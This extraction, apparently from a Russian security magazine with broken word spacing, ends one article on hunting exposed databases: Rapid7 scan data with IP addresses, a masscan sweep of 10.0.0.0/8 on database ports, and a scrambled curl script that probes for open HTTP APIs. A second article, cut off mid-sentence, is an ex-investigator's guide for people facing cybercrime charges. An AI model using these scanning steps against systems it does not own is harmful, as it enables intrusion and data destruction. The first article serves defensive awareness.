Нам будет инте ресен раз дел  ,  где содер жатся резуль таты опро са
IP‐адре сов  по  раз личным  пор там.  Подой дет,  нап ример,  набор  дан ных
по резуль татам 9200‐го пор та (Elasticsearch).

TCP Scans

 

 

 

 

 

 

TCP Scans

[2020‐10‐07‐1602049416‐http_get_9200.csv.gz] [39.9 MB] [October 7, 2020]

Lines: 3 472 740

[ 'timestamp_ts' , 'saddr' , 'sport' , 'daddr' , 'dport' , 'ipid' , 
'ttl' ]

'1602049426' , '146.148.230.26' , '9200' , '71.6.233.15' , '9200' , 
'54321' , '248' 
'1602049426' , '34.102.229.177' , '9200' , '71.6.233.70' , '9200' , 
'60681' , '122' 
'1602049426' , '104.232.64.108' , '9200' , '71.6.233.105' , '9200' , 
'54321' , '248' 
'1602049426' , '164.116.204.58' , '9200' , '71.6.233.79' , '9200' , 
'38329' , '242' 
'1602049426' , '35.186.233.76' , '9200' , '71.6.233.7' , '9200' , 
'44536' , '122' 
'1602049426' , '192.43.242.72' , '9200' , '71.6.233.113' , '9200' , 
'19234' , '56' 
'1602049426' , '166.241.202.174' , '9200' , '71.6.233.47' , '9200' , 
'26802' , '242' 
'1602049426' , '142.92.75.134' , '9200' , '71.6.233.115' , '9200' , 
'28081' , '243' 
'1602049426' , '198.86.33.87' , '9200' , '71.6.233.112' , '9200' , 
'17403' , '59'

Для Masscan сос тавим такую коман ду на запуск:

 masscan ‐p9200,9042,5984,27017 10.0.0.0/8 ‐‐echo > result.txt 

Masscan

Имея на руках готовый спи сок хос тов, мож но прис тупить к деталь ной про вер‐ 
ке.

Nmap

Здесь  вид но,  что  порт  не  прос то  открыт  —  на  нем  запущен  сер вис
Elasticsearch.

В резуль тате ска ниро вания и поис ка раз ными сер висами было обна руже‐ 
но немало любопыт ного. На скри нах — неболь шая выбор ка.

CouchDB

InfoRisk

Ча ты

Не ожи дан но обна ружи лись спис ки имен, ников, фамилий (со ссыл кой на кон‐ 
крет ный акка унт Telegram, VK или Viber), 16 баз дан ных, в каж дой   тысяч
строк таких вот спис ков.

15–20
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РАЗБОР ПОЛЕТОВ
Вот  что в пос леднее вре мя слу чает ся с  теми,  кто  кри во нас тра ивает дос туп
к БД. Все  дан ные отправ ляют ся  на  тот  свет,  а  незадач ливому  адми ну  оста‐ 
ется толь ко запис ка с тре бова нием выкупа.

Тре бова ние выкупа

Мож но гля нуть, кто и что тво рил с дан ными, при помощи коман ды  .show log

Уби тая БД

Как  вид но,  все  доволь но  прос то:  заш ли,  стер ли  дан ные,  повеси ли  свой
README.

Про читав логи, лег ко мож но уви деть, что «запис ка о выкупе» переза писы‐ 
валась  мно го  раз.  Каж дый  раз,  ког да  оче ред ной  зло дей ский  бот  находит
откры тую базу, запис ка прос то меня ется на новую.

Уби тая БД

Бот про веря ет  воз можность авто риза ции и  записи,  пос ле  чего дро пает  все
дан ные, оставляя памят ку скор бящему вла дель цу.

Дан ные,  конеч но,  ник то  не  воз вра щает  и  даже  не  бэкапит  перед  унич‐ 
тожени ем,  как  кра сиво  рас писано  в  тек сте.  Здесь  наде ять ся  на  чес тность
прес тупни ка, к сожале нию, бес полез но.

АВТОМАТИЗАЦИЯ
Что бы быс трее искать СУБД, я написал неболь шой скрипт, который работа ет
со спис ками в фор мате  . Вот что он дела ет:[ip]:[port]

от кры вает на чте ние ука зан ный файл;•
счи тыва ет стро ку   через раз делитель в перемен ную;• ip:port

об раща ется при помощи curl по HTTP к хос ту из перемен ной;•
счи тыва ет  ,  при шед ший  от  хос та  (вре мя  отве та  хос та
огра ниче но в моем слу чае четырь мя секун дами);

• http_response

на  осно ве  получен ного  кода    хост  сох раня ется  либо
в «успешные», либо в «мусор ку».

• http_response

Дей ствия совер шают ся цик личес ки, пока не закон чится вход ной файл.

   |     echo "$LINE" cut ‐d":" ‐f'1 2';
curl       

     4
HTTP_CODE=$( ‐‐write‐out "%{http_code}\n" "http://"$LINE""
‐‐output output.txt ‐‐silent ‐‐connect‐timeout )

   if (("$HTTP_CODE"=="200")); then
  echo

"##########################‐‐HTTP_API_FOUND‐‐
#########################"
;
     echo $LINE >> result.txt 
 else

    echo "Tried to access it, but f'ed up";
       echo $LINE >> trash_bin.txt 
fi

Пос коль ку  рас простра нение  таких  скрип тов  может  ква лифи циро вать ся
как  соз дание  вре донос ных  прог рамм,  я  при вожу  не  сов сем  рабочий  код.
И тебе тоже рекомен дую быть бди тель ным, если поп робу ешь написать что‐то
в том же духе.

При мер работы скрип та

Как видишь, авто мати зиро вать поиск целей и даже их даль нейшую «обра бот‐ 
ку» край не лег ко.

ВЫВОДЫ
Я,  конеч но,  рас смот рел  далеко  не  все  вари анты,  выб рав  наибо лее  час то
«текущие»  СУБД.  Но  прин цип,  думаю,  понятен:  даже  если  ты  админ,  а  не
какой‐нибудь  хакер,  знать  воз можные  век торы  атак  обя затель но.  Пери оди‐ 
чес ки ска нируй свои сер веры, что бы узна вать о дырах рань ше, чем их най дут
зло умыш ленни ки. Зак рывай по умол чанию все ненуж ные пор ты. Прячь эндпо‐ 
инты  за  авто риза цией  и  генери руй  надеж ные  пароли.  И  конеч но,  делай
бэкапы на слу чай, если твои дан ные все же най дет и унич тожит чей‐то бот.

https://www.shodan.io/
https://fofa.so/
https://censys.io/
https://www.zoomeye.org/
https://www.binaryedge.io/
https://lampyre.io/
https://nmap.org/
https://github.com/robertdavidgraham/masscan
https://zmap.io/
https://opendata.rapid7.com/sonar.tcp/
https://opendata.rapid7.com/sonar.tcp/


ПОПАЛСЯ!
ЧТО ДЕЛАТЬ, ЕСЛИ ТЕБЯ

ПРИВЛЕКАЮТ К УГОЛОВНОЙ
ОТВЕТСТВЕННОСТИ

ЗА КИБЕРПРЕСТУПЛЕНИЕ

Максим Горшков
Специалист по
информационной

безопасности и форензике
temujin@bk.ru

ВЗЛОМ

Мо жет показать ся, что в циф ровом мире выходить за рам ки
закона безопас нее, чем в реаль ном: про ще унич тожить сле‐ 
ды  прес тупле ния,  да  и  спе циалис тов  нуж ного  про филя
в орга нах не так мно го. На самом деле это не так. Я семь лет
слу жил  в  орга нах  пред варитель ного  следс твия  (следс твен‐ 
ный  комитет,  МВД)  и  рас сле довал  мно го  прес тупле ний
в сфе ре информа цион ных  тех нологий. В этой статье я рас‐ 
ска жу, чего ждать и как облегчить свою участь, если ты попал
в поле зре ния пра воох ранитель ных орга нов.

Бу дем наде ять ся,  ты  чита ешь эту  статью из  любопытс тва,  а  не из  насущ ной
необ ходимос ти!

ВИДЫ ПРЕСТУПЛЕНИЙ
Прес тупле ния в сфе ре IT очень раз ношерс тные. Выделю основные, с которы‐ 
ми при ходит ся стал кивать ся поч ти каж дый день.

Хищения с применением информационных технологий
К  этой  катего рии  отно сит ся  мошен ничес тво  с  помощью  фишин га,  кра жа
денеж ных средств со сче тов, в том чис ле кар динг.

Преступления в сфере незаконного оборота наркотиков
Ско ро  десять  лет,  как  появил ся  ,  и  с  тех  пор
борь ба  с  ано ним ными  тор говыми  пло щад ками  не  ути хает  по  все му  миру.
По‐преж нему  находят ся  аван тюрис ты,  которые  верят,  что  их  онлай новый
магазин ник то не най дет. Дос таточ но гля нуть ста тис тику, и ты уви дишь, сколь‐ 
ко  подоб ных  биз несов  прик рыва ют  каж дый  год  —  это  огромные  циф ры;
а ведь за сбыт нар котиков в РФ мож но зап росто отси деть чет верть века!

не легаль ный  мар кет  Silk  Road

Приобретение специальных средств
Этот и сле дующий пункт называ ют «народ ными стать ями», и вот почему. Пра‐ 
воох ранитель ная  сис тема  любит  ста тис тику:  чем боль ше  людей  прив лека ют
к  ответс твен ности,  тем  луч ше —  от  это го  зависят  пре мии,  наг рады,  зва ния
сот рудни ков.

Нес коль ко лет назад в законо датель стве был баг, который поз волял прив‐ 
лекать  к  ответс твен ности  «гиков»,  покупа ющих  мобиль ные  телефо ны,  GPS‐
маяч ки,  мик рокаме ры,  не  име ющие  лицен зирова ния  на  тер ритории  РФ,  —
за при обре тение средств для нег ласно го получе ния информа ции.

Интернет-экстремизм
О  сро ках  за  «мемаси ки»  или  «репос ты»  слы шал  каж дый.  Сей час  по  этой
статье  не  так  люту ют,  и  все  же  сот ни  людей  уже  получи ли  свои,  хоть
и условные, но сро ки и судимос ти.

Создание, распространение вредоносных программ или
неправомерный доступ к компьютерной информации
Это  уже  нас тоящая  хакер ская  статья,  и  доволь но  ред кая.  Чем  менее  рас‐ 
простра нен сос тав прес тупле ния, тем он инте рес нее для ста тис тики. Так что
если  ты  попадешь  в  поле  зре ния  орга нов  в  свя зи  с  чем‐то  подоб ным,  то
и «раз рабаты вать» тебя будут усер днее обыч ного.

Распространение детской порнографии
На этот  сос тав  нарыва ются  любите ли  тор рентов:  ска чал и  забыл  уда лить —
счи тай, что уже совер шаешь прес тупле ние. Сло вил злов ред и передал свой
ПК бот нету? За тобой при дут.

У  нас  в  орга нах  «вычис ляют  по  IP»  безо  вся ких  шуток.  Тот,  кто  попал ся
подоб ным обра зом,  ско рее все го, ока жет ся не  злос тным  хакером, а невин‐ 
ным любите лем кряк нутых прог рамм. Тем не менее без изъ ятия тех ники дело
не обой дет ся.

ИНТЕРНЕТ ОТЯГЧАЕТ
Осо бо  отме чу,  что  по  Уго лов ному  кодек су  мошен ничес тва,  кра жи,  незакон‐ 
ный  обо рот  нар котиков  через  интернет  вле кут  за  собой  более  тяж кие  сан‐ 
кции,  чем  те  же  прес тупле ния,  совер шенные  без  исполь зования  информа‐ 
цион ных тех нологий.

Ки бер прес тупле ния  слож нее  рас крыть,  поэто му  не  так  дав но  их  «отяг‐ 
чили» —  теперь  эти  сос тавы  тяж кие  и  осо бо  тяж кие.  Так  что  за  кра жу  двух
тысяч руб лей из кар мана сум ки ты будешь сидеть на «под писке о невы езде»
в ходе пред варитель ного следс твия и отде лаешь ся условным сро ком, а если
украл две тысячи со сче та бан ков ской кар ты, то зап росто можешь быть арес‐ 
тован и получишь впол не реаль ный срок до десяти лет.

ВРЕМЯ ПРОТИВ ТЕБЯ
Ес ли  ты  перешел  чер ту  закона  (по  нев ниматель нос ти  или  намерен но),  то
ни зав тра, ни пос лезав тра за тобой, ско рее все го, не при дут. Даже опе ратив‐ 
ные под разде ления отя гоще ны бюрок ратичес кими тре бова ниями и не всег да
оправды вают свое наз вание и дей ству ют опе ратив но.

К  тому  же  во  всех  учеб никах  об  опе ратив но‐разыс кной  деятель нос ти
рекомен дуют  не  торопить ся,  а  капиталь но  зак репить ся  в  доказа тель ствах.
Если схва тить зло умыш ленни ка слиш ком рано, то все тру ды могут пой ти нас‐ 
марку: не хва тит доказа тель ной базы и его при дет ся отпустить.

Сот рудни ки  пра воох ранитель ных  орга нов  далеко  не  всег да  умнее  прес‐ 
тупни ка,  но  они  уме ют  ждать.  Я  встре чал  слу чаи,  ког да  кибер прес тупни ков
раз рабаты вали боль ше года. Рано или поз дно зло умыш ленник потеря ет бди‐ 
тель ность  и  совер шит  явную  ошиб ку.  Тут‐то  ему  мож но  вме нить  сра зу
совокуп ность  прес тупле ний.  Ведь  каж дая  кра жа  или  дру гое  дей ствие  —
это отдель ное прес тупле ние, и орга нам всег да выгод нее прив лечь челове ка
за 10–20 прес тупле ний, чем за одно.

ОТКУДА ПРАВООХРАНИТЕЛЬНЫЕ ОРГАНЫ ВООБЩЕ МОГУТ О ТЕБЕ
УЗНАТЬ?
Пер вая  «нить»  может  идти  отку да  угод но:  информа торы,  дан ные  про вай‐ 
деров, какие‐то ана лити чес кие резуль таты тра фика или сооб щение граж дан
о совер шенном в отно шении них про тивоп равном дей ствии.

По каким приз накам мож но понять, что ты «под кол паком»? Глав ный инс‐ 
тру мент — инту иция. Но есть и более объ ективные приз наки.

Твой  телефон  начал  стран но  работать;  есть  подоз рения,  что  тебя  прос‐ 
лушива ют.

•

По явля ются «новые друзья», которые инте ресу ются тво ей деятель ностью.•
У  соседей  спра шива ют  о  тебе  нез накомые  люди —  это  могут  быть  сот‐ 
рудни ки орга нов.

•

Ес ли ты дей стви тель но дела ешь что‐то про тивоп равное, то у тебя еще может
быть шанс вов ремя оста новить ся. Впро чем, если сот рудни ки орга нов начали
опра шивать  соседей  или  родс твен ников  в  откры тую  —  зна чит,  раз работ ка
тебя  под ходит  к  зак лючитель ному  эта пу  и  уже  есть  матери ал  про вер ки,
который готовят ся передать сле дова телю для воз бужде ния уго лов ного дела.

ПРОВЕРКА ДО ВОЗБУЖДЕНИЯ УГОЛОВНОГО ДЕЛА
Преж де  чем  воз будить  уго лов ное  дело,  пра воох ранитель ные  служ бы  рас‐ 
смат рива ют  матери ал  про вер ки.  Если  такой  матери ал  сущес тву ет,  зна чит,
у  пра воох ранитель ных  служб  уже  есть  све дения  о  воз можном  совер шении
прес тупле ния.

Од на из так тик — соб рать все доказа тель ства на этой ста дии, что бы рас‐ 
сле дова ние уго лов ного дела не затяги валось. Иной раз пос ле рас смот рения
матери ала про вер ки сле дова телю оста ется толь ко про цес суаль но офор мить
и нап равить уго лов ное дело в суд.

Фиш ка в  том, что про вер ка длит ся до 30 суток, затем сот рудник выносит
фор маль ное пос танов ление об отка зе в воз бужде нии уго лов ного дела, про‐ 
курор  отме няет  это  пос танов ление  и  срок  про вер ки  начина ется  заново.
Таким  обра зом  рас смат ривать  матери ал  про вер ки  и  искать  доказа тель ства
мож но дол го: я видел матери алы про вер ки пятилет ней дав ности, и это вов се
не ред кость.

Уго лов ное же дело нель зя прод левать веч но. Сле дова тели стре мят ся рас‐ 
сле довать его  в  течение двух месяцев.  Толь ко дела  с боль шим общес твен‐ 
ным резонан сом поз воля ется рас сле довать боль ше года.

Ряд следс твен ных дей ствий мож но про водить даже в рам ках про вер ки:
ос мотры  мес та  про исшес твия  (нап ример  тво ей  квар тиры),  в  рам ках
которо го могут изы мать тех нику;

•

оп рос (это не следс твен ное дей ствие в пол ном смыс ле, но на показа ниях
опро са будет стро ить ся доп рос, так же если статья вдруг под следс твен на
орга ну доз нания, то опрос может быть доказа тель ством);

•

эк спер тизы;•
по луче ния образцов  голоса,  почер ка, отпе чат ков паль цев и  ладоней рук,
геноти па — для срав нитель ного иссле дова ния;

•

зап росы про вай дерам, в бан ки, сотовые ком пании и дру гие орга низа ции;•
по руче ния в дру гие служ бы, в том чис ле инос тран ные через Интерпол.•

Осмотр
Без  воз бужде ния  уго лов ного  дела  про извести  обыск  не  получит ся,  но  если
у тебя в квар тире есть явные сле ды прес тупле ния, то все необ ходимое могут
сде лать  в  рам ках  обыч ного  осмотра мес та  про исшес твия — и  даже  про тив
тво ей воли. Осмотр про тив воли при дет ся еще уза кони вать пос тфак тум через
суд, что бы изъ ятые доказа тель ства счи тались закон ными. Впро чем, сле дова‐ 
тели  идут  на  такой шаг,  толь ко  если  име ют  на  руках железо бетон ные осно‐ 
вания, а суды в боль шинс тве слу чаев сог ласны уза конить такие дей ствия.

Так же,  если  обсто ятель ства  не  тер пят  про мед ления,  даже  обыск  мож но
про водить  без  пред варитель ного  раз решения  суда  и  уза конить  его  впос‐ 
ледс твии.

Чем  осмотр  жилища  отли чает ся  от  обыс ка?  В  обо их  слу чаях  дей ствие
может  про исхо дить  про тив  тво ей  воли  и  соп ровож дать ся  изъ яти ем  вещей,
но сог ласно законо датель ству отли чие зак люча ется в целях. Но и  тут  чет ких
гра ниц нет.

На  прак тике  осмотры  стре мят ся  делать  «мяг че»,  не  вывора чива ют  все
наиз нанку, а прос то иссле дуют мес то. Тем не менее и при осмотре сот рудни‐ 
ки могут искать где угод но и что угод но.

Опрос
В рам ках про вер ки тебя могут выз вать на опрос (не доп рос!). На опрос раз‐ 
реша ется взять с собой адво ката. Это не обя затель но, но тут важ но реалис‐ 
тично оце нить рис ки. Воз можно, сра зу же пос ле опро са про тив тебя воз будят
уго лов ное дело и твои проб лемы рез ко обре тут серь езный обо рот.

В  любом  слу чае  догово рись  с  хорошим  адво катом,  что бы  он  был  готов
экс трен но  при ехать  к  тебе.  Если  тебя  задер жат,  то  ты  уже  не  смо жешь
покинуть зда ние пра воох ранитель ной служ бы самос тоятель но.

УГОЛОВНОЕ ДЕЛО
Ес ли в отно шении тебя воз будят уго лов ное дело, ты, конеч но, сра зу об этом
узна ешь. Ско рее все го, сле дова тель сооб щит  тебе даже не по поч те, а  уже
в сво ем кабине те, офи циаль но приг ласив на следс твен ные дей ствия.

Но есть нюанс — уго лов ное дело мож но воз будить и  в отно шении неус‐ 
танов ленно го  лица.  У  следс твия  может  быть  недос таточ но  улик,  или  прес‐ 
тупни ка дей стви тель но пока не вычис лили. А может быть, нефор маль но тебя
уже «уста нови ли», прос то сле дова тель исполь зует такую улов ку, что бы вес ти
опе ратив но‐разыс кные  и  следс твен ные  мероп риятия,  пока  ты  оста ешь ся
в неведе нии.

Сценарии взаимодействия со следствием
Сце нарий  пер вый:  ты  узнал,  что  рас сле дует ся  уго лов ное  дело  в  отно шении
неус танов ленно го лица. Лич но тебя активные дей ствия орга нов не зат рагива‐ 
ют, но ты при нимал в прес тупле нии реаль ное учас тие (если не при нимал, то
бес поко ить ся  не  о  чем,  я  не  слы шал,  что бы  сажали  невинов ных  имен но
по кибер прес тупле ниям).

Вто рой сце нарий: ты узнал, что рас сле дует ся уго лов ное дело в отно шении
неус танов ленно го лица, а тебя прив лека ют к неак тивным следс твен ным дей‐ 
стви ям (доп росы в качес тве сви дете ля, обыс ки при сох ранении ста туса сви‐ 
дете ля и так далее); при таком рас кла де у тебя будет мень ше прав, чем в ста‐ 
тусе подоз рева емо го, что упро щает рас сле дова ние.

Тре тий  сце нарий:  ког да  в  отно шении  тебя  воз бужде но  уго лов ное  дело
или тебя доп росили в качес тве подоз рева емо го (эти события рав нознач ны —
в обо их у тебя ста тус подоз рева емо го).

По пер вым двум сце нари ям дос таточ но вырабо тать линию самос тоятель‐ 
ной  защиты  и  по  воз можнос ти  обсу дить  со  спе циалис том,  как  могут  раз‐ 
вивать ся события, что мог ло бы смяг чить, а что — усу губить наказа ние.

В треть ем слу чае нуж но незамед литель но зак лючить сог лашение с адво‐ 
катом.

В любом слу чае,  если  ты  узнал,  что про тив  тебя  что‐то  затева ется,  даже
если это про вероч ные мероп риятия, ты дол жен как мож но ско рее прек ратить
любую незакон ную деятель ность и посиль нее натянуть на уши белую шля пу,
раз  и  нав сегда  перей дя  на  свет лую  сто рону.  Воз можно,  тебе  повезет  и  ты
отде лаешь ся тре вож ным зво ноч ком и пот рачен ными нер вами.

Предварительное следствие
Пред варитель ное следс твие делит ся на нес коль ко эта пов.

Пер вый этап —   — мы уже разоб рали.воз бужде ние уго лов ного дела

Допрос
Вто рой этап начина ется вско ре — это доп рос. При пред варитель ном рас сле‐ 
дова нии  он  наделя ет  тебя  уго лов но‐про цес суаль ным  ста тусом:  сви детель,
подоз рева емый, обви няемый.

Каж дый из этих ста тусов под разуме вает свои пра ва и обя зан ности в рам‐ 
ках кон крет ного уго лов ного дела, ты можешь озна комить ся с ними в  .УПК РФ

Ес ли прес тупле ние не тяж кое, тебя вызовут на доп рос, избе рут меру пре‐ 
сече ния,  не  свя зан ную  с  лишени ем  сво боды  (под писка  о  невы езде  и  над‐ 
лежащем  поведе нии),  и  будут  вызывать  по  звон ку  на  дру гие  следс твен ные
мероп риятия.

В  слу чае  тяж кого  прес тупле ния  тебя  могут  задер жать,  при чем  даже
до  воз бужде ния  уго лов ного  дела.  Сот рудни ки  опе ратив ных  служб  пой мают
тебя  в  любом  мес те,  кро ме  жилища  (тут  все‐таки  нуж но  решение  суда
и откры тое уго лов ное дело), дос тавят в кабинет сле дова теля и офор мят про‐ 
токол задер жания.

Задержание
Сот рудни ки могут  подой ти  к  тебе  в  любой момент,  даже  ког да  ты  спо кой но
идешь  по  ули це.  Они  пред ста вят ся  и  сооб щат,  что  ты  задер жан.  Луч ше
не соп ротив ляй ся, ведь любой синяк на теле сот рудни ка орга нов — это уго‐ 
лов ная статья.

Нуж но  поз вонить  родс твен никам  или  адво кату,  но  делать  это  без
агрессии, ина че при дос мотре телефон момен таль но изы мут.

Те бя  при ведут  к  сле дова телю,  и  он  сос тавит  про токол  задер жания.
Во  вре мя  задер жания  при сутс твие  адво ката  неп ринци пиаль но.  Все  рав но
пов лиять  на  задер жание  ты  не  можешь,  если  оно  закон но.  А  закон но  оно
в трех исклю читель ных слу чаях:

ког да  задер жанный  зас тигнут  при  совер шении  прес тупле ния  или  непос‐ 
редс твен но пос ле его совер шения;

•

ког да  потер певшие  или  оче вид цы  ука жут  на  него  как  на  лицо,  совер‐ 
шившее прес тупле ние;

•

ког да на челове ке или его одеж де, при нем или в его жилище будут обна‐ 
руже ны явные сле ды прес тупле ния.

•

Про токол задер жания нуж но обя затель но под писать, пос коль ку помет ка сле‐ 
дова теля «от под писи отка зал ся» негатив но ска жет ся при рас смот рении уго‐ 
лов ного дела судом.

Про верь,  что бы  вре мя  задер жания  в  про токо ле  сов падало  со  вре менем
фак тичес кого  задер жания.  С  это го  момен та  отсчи тыва ется  48  часов,
в течение которых сле дова тель дол жен вый ти в суд с ходатай ством на арест
и  под готовить  матери алы,  доказы вающие,  почему  лишение  сво боды  необ‐ 
ходимо для объ ективно го рас сле дова ния уго лов ного дела.

При задер жании сле дова тель обя зан дать тебе сде лать зво нок, вос поль‐ 
зуйся  этим  пра вом  муд ро.  Не  зво ни  подель никам,  ведь  весь  ваш  раз говор
будут  слы шать  сот рудни ки  (и  смо гут  отсле дить  зво нок),  а  при думы вать  сло‐ 
вес ный шифр на ходу — пло хая идея.

Луч ше  поз вони  родс твен никам,  что бы  они  как  мож но  ско рее  при вез ли
тебе пос тель ное белье и теп лые вещи, что бы ты не око лел в изо лято ре. Сле‐ 
дова тели  пой дут  тебе  навс тре чу  и  подож дут,  ведь  потом  передать  вещи
в изо лятор будет нам ного слож нее.

Обыск
На  ран них  ста диях  рас сле дова ния  обя затель но  про водит ся  осмотр  мес та
про исшес твия  или  обыск,  в  котором  дол жны  учас тво вать  хотя  бы  двое
понятых. Искать и изы мать будут любые пред меты, пред став ляющие инте рес
для рас сле дова ния. Тебе зап ретят покидать зону обыс ка. В кон це сот рудни ки
сос тавят  про токол  обыс ка,  ты  смо жешь  с  ним  озна комить ся  и  сде лать
фотоко пию.

Ес ли твою тех нику — будь то жес ткий диск или ПК целиком — хотят отклю‐ 
чить и заб рать, во вре мя обыс ка обя затель но дол жен при сутс тво вать эксперт
по  ИТ  (граж дан ское  лицо  или  спе циалист  экспертно‐кри мина лис тичес кого
цен тра).  Опе ратив ный  сот рудник,  даже  если  он  из  отде ла  «К»,  не  может
заменить такого спе циалис та.

Экспертизы
Ес ли ты подоз рева емый или сви детель, даль ше тебя ждут экспер тизы.

Эк спер тизы могут быть раз ных нап равле ний: от компь ютер ных, до фонос‐ 
копичес ких, дак тилос копичес ких, биоло гичес ких. Все зависит от иссле дуемых
объ ектов. В любом слу чае с экспер тизами обя затель но зна комят подоз рева‐ 
емо го. А сви дете ля — толь ко тог да, ког да у него изы мались образцы непос‐ 
редс твен но.

Иные следственные действия
Да ча  показа ний  на  мес те:  под  видео‐  или  фотоп ротоко лиро вание  ты
будешь  пря мо  на  мес те  прес тупле ния  рас ска зывать  и  показы вать,  что
и как делал.

•

Следс твен ный  экспе римент:  сот рудни ки  вос про изве дут  усло вия,
при которых совер шалось прес тупле ние, что бы убе дить ся, что их или твои
пред положе ния реалис тичны.

•

Оч ная  став ка.  Даже  если  ты  пос тро ил  иде аль ную  тех ничес кую  защиту,
отка зыва ешь ся  приз навать  вину,  а  у  следс твия  нет  объ ективных  доказа‐ 
тель ств, тебя всег да может сдать твой напар ник. В таком слу чае следс твие
про ведет очную став ку меж ду тобой и напар ником, где он рас ска жет, «как
было»,  а  ты  либо  будешь  сто ять  на  сво ем,  либо  сог ласишь ся  с  ним.
В любом слу чае у вас воз никнет про тивос тояние вер сий, цель которо го –
уста новить исти ну.

•

Обвинение
В кон це  кон цов,  ког да  у  следс твия сфор мирова на  ква лифи кация  тво их дей‐ 
ствий,  тебе  предъ явят  обви нение.  С  обви нени ем  ты  можешь  сог ласить ся,
час тично  сог ласить ся  или  не  сог ласить ся.  На  этом  эта пе  тебя  обя затель но
доп росят еще раз — уже в качес тве обви няемо го, что бы рас ста вить все точ ки
над  «и»  и  понять  твое  отно шение  к  уго лов ному  прес ледова нию  (рас‐ 
каиваешь ся  или  нет)  и  конеч ную  позицию  по  тво ему  деянию,  с  которой  ты
пред ста нешь перед судом.

Заключительная часть предварительного расследования
Те бе  обя затель но  дадут  на  озна ком ление  все  матери алы  уго лов ного  дела,
о  чем сос тавят  про токол.  Ты  смо жешь изу чить  все доказа тель ства,  которые
соб рал сле дова тель, и сов мес тно с адво катом выб рать окон чатель ную линию
защиты  для  суда.  В  про токо ле  озна ком ления  ты  можешь  ходатай ство вать
о  выборе  судеб ного  про изводс тва  (нап ример  в  осо бом  поряд ке  или  судом
при сяж ных).

На  этом  эта пе  следс твен ные  дей ствия  завер шены.  Даль ше  уго лов ное
дело нап равят в про кура туру на сог ласова ние, а затем и в суд.

Признание вины, явка с повинной и особый порядок
Приз навать вину или нет — решать толь ко тебе. Глав ное пра вило: ни в коем
слу чае не приз навай ся  в  том,  чего  ты не  совер шал. Если  к  тебе при меня ют
насилие  или  угро зы  («приз навай ся,  а  то  будем  бить»),  приг рози,  что
напишешь заяв ление в Следс твен ный комитет. На этом угро зы, ско рее все го,
закон чатся,  пос коль ку  «выбива ние»  показа ний —  прес тупле ние  со  сто роны
сот рудни ков и вле чет за собой серь езные сан кции.

Ког да  ты  дей стви тель но  совер шил  прес тупле ние,  отри цание  вины  —
это худ ший вари ант, если уго лов ное дело попадет в суд. Суд даст мак сималь‐ 
ный срок, да еще с лишени ем сво боды.

И наобо рот, уго лов ное про изводс тво очень гуман но к тем, кто соз нает ся.
Если ты совер шил прес тупле ние впер вые и приз нался в нем, не будет даже
суда,  толь ко судеб ный штраф. В резуль тате  у  тебя не оста нет ся судимос ти.
Это  новов ведение  в  законо датель стве.  В  при мене нии  судеб ного  штра фа
есть свои нюан сы, под робнее читай в УПК РФ.

Что еще поможет? Явка с повин ной. В ста рые вре мена она была «царицей
доказа тель ств», но сей час это лай фхак, поз воля ющий скос тить мак сималь ное
наказа ние. Даже если ты написал явку с повин ной, а потом все следс твие был
в отри цании и тебя приз нали винов ным на суде — явка тебя выручит.

Ес ли усло вия при мене ния судеб ного штра фа не выпол няют ся — есть осо‐ 
бый  порядок.  Приз нал  пол ностью  вину?  Про си  осо бый  порядок.  Тог да  суд
не  рас смат рива ет  дело  по  сущес тву,  а  лишь  реша ет  воп рос  о  сан кци ях.
В боль шинс тве слу чаев осо бый порядок пов лечет за собой условное наказа‐ 
ние или (если еще и ты явил ся с повин ной) минималь ный реаль ный срок.

Адвокат
Ад вокат  —  твой  глав ный  инс тру мент  защиты.  Можешь  нанять  его  сам,  «по
сог лашению», либо вос поль зовать ся  услу гами бес плат ного защит ника, пре‐ 
дос тавлен ного  государс твом.  Адво кат  по  наз начению  не  прос то  фор маль‐ 
ность,  мно гие  из  них  доб росовес тно  защища ют,  а  зна мени тые  «кар манные
адво каты  сле дова теля»  дав но  оста лись  в  прош лом,  пос коль ку  наз нача ются
не  по  звон ку  сле дова теля,  а  сог ласно  оче реди,  уста нов ленной  в  кол легии
адво катов.  Зачас тую  наз начен ного  защит ника  будет  дос таточ но,  осо бен но
если  твоя  стра тегия —  приз нание  вины.  В  этом  слу чае  эффектив нее  будет
пот ратить день ги не на адво ката, а на воз мещение ущер ба.

Ес ли  же  ты  понима ешь,  что  тебе  вме няют  боль ше,  чем  ты  совер шил,
нанимай адво ката по сог лашению. Хороший защит ник сто ит дорого, при этом
никог да не будет гаран тировать тебе уход от ответс твен ности и даже пре дуп‐ 
редит об этом пря мо. Конеч но, если это дей стви тель но про фес сионал, а не
адво кат‐мар кетолог,  который  будет  ими тиро вать  бур ную  деятель ность
и давать обе щания за твои день ги. К сожале нию, рей тин гов про фес сиона лиз‐ 
ма  адво катов  нет,  при ходит ся  ори енти ровать ся  на  сарафан ное  радио,  пре‐ 
дыду щий опыт в нуж ной катего рии дел и репута цию.

ОБЩИЕ СОВЕТЫ, КАК ОБЩАТЬСЯ СО СЛЕДСТВИЕМ
Не  кон флик туй  с  пред ста вите лями  государс тва,  у  них  всег да  боль ше  пол‐ 
номочий. Осо бен но  это  каса ется  сле дова теля,  ведь  это  единс твен ный  сот‐ 
рудник, который реаль но может пов лиять на судь бу уго лов ного дела в диапа‐ 
зоне от «не доказа но» до «мак сималь ный срок и худ шие усло вия в изо лято ре
вре мен ного содер жания и на зоне».

Су бор динация —  важ ный  момент.  Сколь ко  раз  я  видел,  как  подоз рева‐ 
емый горь ко рас пла чива ется за свое раз вязное поведе ние с жен щиной‐сле‐ 
дова телем. И наобо рот, уви дев с тво ей сто роны ува жение и понима ние, сле‐ 
дова тель, веро ятно, отве тит тем же.

Ус тупать следс твию тоже не сто ит, ведь их работа — нап равлять в суд уго‐ 
лов ные  дела  с  как  мож но  более  тяж кими  сос тавами  для  улуч шения  ста тис‐ 
тики.

Оп тималь ная модель поведе ния — догова ривать ся. Нап ример,  сле дова‐ 
тель час то забыва ет озна комить подоз рева емо го с пра вами перед началом
следс твен ного  дей ствия.  Гораз до  луч ше  не  писать  жалобу,  а  упо мянуть
об этом с понима нием, поп росить его пой ти  тебе навс тре чу, смяг чить вину.
Жалобу твою все рав но не удов летво рили бы, а вот рас положе ние сле дова‐ 
теля при годит ся.

Сле дова тель  тоже  человек  и  стре мит ся  делать  свою работу  по  спра вед‐ 
ливос ти. Если видишь, что сле дова тель мечет ся меж ду совестью и тре бова‐ 
ниями  началь ства  улуч шить  показа тели  по  тяжес ти  и  количес тву  сос тавов,
покажи свои луч шие сто роны. Дай ему понять,  что  ты все го лишь совер шил
